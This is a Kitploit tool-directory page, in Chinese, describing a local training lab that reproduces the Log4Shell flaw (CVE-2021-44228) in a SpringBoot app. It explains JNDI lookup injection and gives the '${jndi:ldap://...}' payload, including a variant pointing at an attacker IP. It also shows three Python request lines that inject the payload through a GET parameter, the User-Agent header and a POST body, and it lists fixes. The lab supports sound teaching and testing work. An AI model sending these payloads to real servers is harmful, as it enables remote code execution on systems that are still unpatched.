Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/14free/log4j2-vuln-lab
漏洞分析漏洞利用Web应用程序漏洞利用学习与教育Payload 开发实验室与实践
GitHub14free/log4j2-vuln-lab

log4j2-vuln-lab

CVE-2021-44228 (Log4Shell) 漏洞复现靶场 | SpringBoot + Log4j2 2.14.1 | 3 个攻击向量 PoC 验证

查看仓库
19小时35分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

⚠️ 免责声明:本项目仅供安全学习与技术研究使用,所有漏洞环境均在本地搭建,未对任何真实目标进行测试。请勿用于非法用途,使用本项目的风险由使用者自行承担。

Log4j2 漏洞复现靶场(CVE-2021-44228)

漏洞简介

Log4j2 是 Java 生态最广泛使用的日志框架。它有一个 Lookup 功能,允许在日志中用 ${...} 语法插入动态内容。在 2.14.1 及以下版本中,当日志内容出现 ${jndi:...} 时,Log4j2 会自动向指定地址发起 JNDI 请求,攻击者可借此实现远程代码执行(RCE)。

该漏洞编号 CVE-2021-44228,CVSS 评分 10.0(满分),触发条件极简单,影响几乎所有使用 Log4j2 的 Java 应用,利用成本极低。

环境搭建

前置要求:JDK 8+、Maven、Python 3、requests 库

第一步:启动漏洞靶场

用 IDEA 打开项目,运行 VulnApplication.java,看到以下输出表示启动成功:

root@kitploit:~
Tomcat started on port(s): 8080 (http)
Started VulnApplication in 1.1 seconds

第二步:运行 PoC 脚本

root@kitploit:~
cd exploit
pip install requests
python exploit.py

漏洞复现

Payload 构造

root@kitploit:~
${jndi:ldap://127.0.0.1:1389/EvilClass}

攻击向量 1:GET 参数

通过 URL 参数注入 payload,触发 logger.info("User Login: {}", username):

root@kitploit:~
r = requests.get(f"{target_url}/login", params={"username": payload}, timeout=5)

攻击向量 2:User-Agent 请求头

通过 HTTP 请求头注入 payload,触发 logger.info("User-Agent: {}", headers):

root@kitploit:~
r = requests.get(f"{target_url}/api/headers", headers={"User-Agent": payload}, timeout=5)

攻击向量 3:POST 请求体

通过 POST 请求体注入 payload,触发 logger.info("Data: {}", body):

root@kitploit:~
r = requests.post(f"{target_url}/api/data", data=payload, timeout=5)

复现结果

root@kitploit:~
[+] 收到连接!来自 127.0.0.1:51631
[+] 漏洞确认!Log4j2 发起了 JNDI 请求
[+] CVE-2021-44228 复现成功

监听端收到来自靶场的 TCP 连接,说明 Log4j2 解析了 ${jndi:...} 并发起了 LDAP 请求,漏洞确认存在。

漏洞原理

Lookup 机制

Log4j2 的 Lookup 功能允许在日志中使用 ${...} 语法插入动态内容,例如 ${env:PATH} 读取环境变量、${sys:user.dir} 读取系统属性。

JNDI 注入

JNDI(Java Naming and Directory Interface)是 Java 的命名与目录接口,给它一个地址,它就去查找并返回结果。如果返回的是一个 Java 类,JVM 会自动加载并执行它。

完整攻击链

root@kitploit:~
① 攻击者在输入框填写:${jndi:ldap://攻击者IP:1389/EvilClass}
    ↓
② 网站收到输入,用 logger.info() 打日志
    ↓
③ Log4j2 解析日志内容,发现 ${jndi:ldap://...}
    ↓
④ Log4j2 发起 LDAP 请求 → 连接到攻击者服务器
    ↓
⑤ 攻击者的 LDAP 服务器返回:"去这个地址下载 EvilClass.class"
    ↓
⑥ 受害服务器下载并加载 EvilClass 类
    ↓
⑦ EvilClass 的 static 代码块自动执行 → RCE(远程代码执行)

修复方案

  1. 升级 Log4j2 版本:升级到 2.17.1 及以上,该版本禁用了 JNDI Lookup 功能
  2. 设置环境变量禁用 Lookup:在启动参数中添加 -Dlog4j2.formatMsgNoLookups=true
  3. WAF 拦截:在 Web 应用防火墙中添加规则,拦截包含 ${jndi: 的请求

项目结构

root@kitploit:~
log4j2-vuln-lab/
├── pom.xml                          # Maven 配置,指定 Log4j2 2.14.1 漏洞版本
├── exploit/
│   └── exploit.py                   # PoC 利用脚本,3 个攻击向量 + TCP 监听验证
└── src/main/
    ├── java/com/vuln/log4j/
    │   ├── VulnApplication.java     # SpringBoot 启动类
    │   └── controller/
    │       └── UserController.java  # 3 个漏洞注入点(GET参数/UA头/POST体)
    └── resources/
        ├── application.yml          # 端口号 + 日志级别配置
        └── log4j2.xml               # Log4j2 配置文件
下载工具